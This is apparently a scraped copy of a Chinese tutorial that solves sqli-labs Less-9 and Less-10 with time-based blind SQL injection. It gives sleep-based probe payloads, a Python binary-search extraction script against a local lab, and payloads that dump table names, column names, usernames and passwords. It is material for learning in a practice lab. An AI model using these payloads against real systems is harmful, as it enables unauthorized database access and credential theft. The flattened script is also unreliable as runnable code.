当前位置: 首页 > news >正文

网站推广文案wordpress 文章 页面

网站推广文案,wordpress 文章 页面,关于公司建设网站的意义,网络营销心得体会1000字第九关: 这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果…

第九关:

这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。

判断注入点

             基于时间的注入(延时注入)

             1. Time-based blind SQL injection
                2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
                是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
                3.优点:不需要显示位,不需要报错信息。
                4.缺点:速度慢,耗费大量时间
                5.用法:IF(Condition,A,B)函数
                当Condition为TRUE时,返回A;否则返回B。     
                6.示例:    SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);     
 

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数

当请求错误时,延迟时间在3S以后

当请求正确时,延迟时间很短,在3S以内

基于这个我们就可以写脚本来帮助我们注入

import time
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
#二分法
def inject_database(url):name=""for i in range(1,20):low =32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(),%d,1)) > %d,sleep(1),0)-- " % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url,params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)inject_database(url)

有点慢,但是也是成功拿下数据

下边的操作和之前的一样

爆表

payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d,sleep(1),0)-- " % (i, mid) 

爆字段

payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

username,password

payload = "1' and if(ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

            payload = "1' and if(ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

拿下

第十关:

和第九关不一样的就是这里是双引号

还是时间盲注,稍微修改,直接使用

 

成功拿到数据库 ,后边的操作都是如法炮制!!!

http://www.yayakq.cn/news/789596/

相关文章:

  • 邢台营销型网站建设费用wordpress 豆瓣评分
  • 企业网站设计与优化做网站运营公司收费
  • 北京企业建设网站制作凡科网站建设多少钱
  • 做超链接网站的代码网站服务器建设商
  • 北京高端建设网站手机 dns 国外网站
  • 图片素材网站哪个最好centos打开wordpress
  • 做传感器交易的网站做网站用什么域名比较好
  • 加快网站访问速度长沙seo就选智优营家
  • 电子商务网站建设与管理的有关论文在哪个网站上做外贸好
  • 建设银行网站为什么登不上wordpress 文章页调用
  • 自己做网站大概多少钱前端和后端
  • 江苏建设厅网站电话多少株洲市建设质监站网站
  • 免费注册发布信息网站长沙市app下载
  • 做外卖有哪些网站有哪些久久建筑网怎么不好用
  • 做720效果的还有哪个网站微信文章转wordpress
  • wordpress托管站点wordpress 旅游插件
  • 想做一个能上传视频的网站怎么做百度医生
  • 网站标题特殊符号专业的app网站开发
  • 抖音关键词排名推广长沙网站优化步骤
  • 网站建设与制作模板网站开发 自动填写表单
  • 成都高端网站制作代理网址代码
  • 自己怎么做wap网站洪梅镇做网站
  • 国外开源建站系统猎头公司猎头
  • php网站开发需要什么软件黄陌陌网站怎么做
  • 免费建立自己的网站代码做博客用什么系统做网站好
  • 好看大方的企业网站源码.networdpress windows主题
  • 网站开发 教学大纲网站建设环境
  • 网站建设最新教程网站建设小程序公众号销售
  • 合肥手机网站制作建设便宜的域名购买
  • 网站基本配置一品在线视频观看